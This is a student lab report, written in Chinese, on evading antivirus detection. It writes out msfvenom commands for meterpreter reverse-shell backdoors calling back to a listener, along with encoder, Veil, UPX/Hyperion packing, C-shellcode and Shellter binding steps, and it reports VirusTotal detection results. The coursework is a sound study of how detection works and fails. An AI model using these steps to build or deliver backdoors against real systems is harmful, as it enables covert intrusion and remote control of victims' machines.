实验内容
-
正确掌握方法
- 正确使用msf编码器(0.5分),
- msfvenom生成如jar之类的其他文件(0.5分),
- veil(0.5分),
- 加壳工具(0.5分),
- 使用C + shellcode编程(0.5分),
- 使用其他课堂未介绍方法(0.5分)
-
通过组合应用各种技术实现恶意代码免杀(0.5分)
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
基础问题回答
-
杀软是如何检测出恶意代码的?
- 特征检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
- 启发式检测:杀毒软件会监根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 行为检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
-
免杀是做什么?
答:通过一些技术手段,让杀毒软件无法检测扫描到恶意代码。 -
免杀的基本方法有哪些?
答:(1)改变特征码:加壳(2)改变行为:改变通讯方式,改变行为模式 (3)花指令免杀(毫无意义的指令)(4)二次编译实现免杀
实践总结与体会
- 在本次实验中,我初步学习了免杀的知识,了解了一些可以做免杀的手段,虽然现在这些手段被检测的几率还是蛮大滴,但是为今后如果想要做免杀还是做好了铺垫。
- 我的电脑安全软件是联想电脑管家(内置火绒),在本次实验中拖动恶意代码到电脑中都不会有提示,但是一旦尝试执行基本就会风险提示,并且风险详情描述的很准确,基本还是比较满意,以后会更加积极的更新升级。在做实验二三的时候就很烦,光被查出来,就网上各种搜资料,最后成功就很开心。
- 这几天一直想从gouhub上下载东西,一直报错,搜了一下发现GitHub被劫持了???(一想到veil一直安装不成功,最后另辟蹊径,是因为这个,就很难受)等网络稳定了,再试一下BDF、venom吧
开启杀软能绝对防止电脑中恶意代码吗?
???怎么会呢,简单的看,最起码我们拖动恶意代码到电脑中时,杀软没有实现报错,而是在执行时报错。我们在VirusTotal上的结果不也说明,简单的免杀也有被杀软遗漏的嘛~再者恶意代码的“升级”“换代”同样会给杀软造成新的困难。更何况,有人专门在学习如何给杀软造成困难呢。
实践过程记录
一、掌握方法
1.1 使用msf编码器生成后门程序及检测
-
msfvenom直接生成
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe
- 拖到VIRUSTOTAL中检测
可以清楚地看到,72个查杀软件中有58个可以检测到这段恶意代码。
- 输入指令
-
msfvenom一次编码
-
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe
-
-
msfvenom多次编码
-
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe
-
1.2 msfvenom生成如jar之类的其他文件
- 输入指令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 > 20175234.jar
- 拖到VIRUSTOTAL中检测
这个jar包60个程序中有34个程序检测到了恶意代码。
1.3 使用veil-evasion生成后门程序及检测
-
下载veil-evasion
-
veil
安装- 反复报错:
Failed to connect to github.com port 443: 拒绝连接
导致后面的安装无法进行,那么git clone不了咱们就手动解决一下 - 将setup-dependencies下载下来放到
/var/lib/veil/
(新疆用不了网盘,就不提供资源了,需要可以私发)(也可以已成功的同学那里copy一个setup-dependencies) - 然后去
/usr/share/veil/config/setup.sh
里将git clone的语句注释掉(头头加##),就可以正常安装使用啦
- 反复报错:
-
使用veil-evasion
- 输入
veil
进入工具 use Evasion
生成免查杀的程序- 可以使用
list
列出可生成的Payloads
- 我选了个C语言的
c/meterpreter/rev_tcp.py
,选完以后可以info c/meterpreter/rev_tcp.py
一下查看需要设置的参数
- 简单的设置一下,
generate
生成
- 输入
-
拖动程序到virustotal检测一下
45/71,这样就很难过
1.4 加壳工具
-
压缩壳:upx
upx 20175234test.exe -o 20175234upxed.exe
- 扫一下,试一下
-
加密壳:Hyperion
- 将要加密的恶意代码拉到
/usr/share/windows-binaries/hyperion/
- 进入
/usr/share/windows-binaries/hyperion/
- 执行
wine hyperion.exe -v 20175234test.exe 5234hyperion.exe
- 测试
- 将要加密的恶意代码拉到
1.5 使用C + shellcode编程
-
使用msf生成一段shellcode
-
创建一个.c文件,并且将刚才生成的unsigned char buf放进去
-
i686-w64-mingw32-g++ 20175234cshellcode.c -o c_shellcode.exe
编译为可执行文件 -
测试
跟老师描述的一样,大部分杀毒软件可以鉴别
1.6 捆绑工具shellter使用
- 下载安装
sudo apt-get install shellter
- 准备一个可执行程序,我从
/usr/share/windows-binaries/
把whoami.exe拖出来准备绑定了 shellter
启动
- 输入
A
自动绑定,输入文件名 - 选择payload,设置lhost和lopost,然后等着生成成功就好了
- 拖到win10立马报错,错都错了,拉去网站检查一下
这个结果看起来有进步呀 - 把上一步实验生成的被绑定恶意代码的
whoami
加个壳试一下?
好样的,查杀率不降反升,放弃该思路
二、通过组合应用各种技术实现恶意代码免杀
- Evasion模块免杀(达成√)
三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 联想电脑管家 2.8.90.11211
- 木马库版本时间 2020-03-24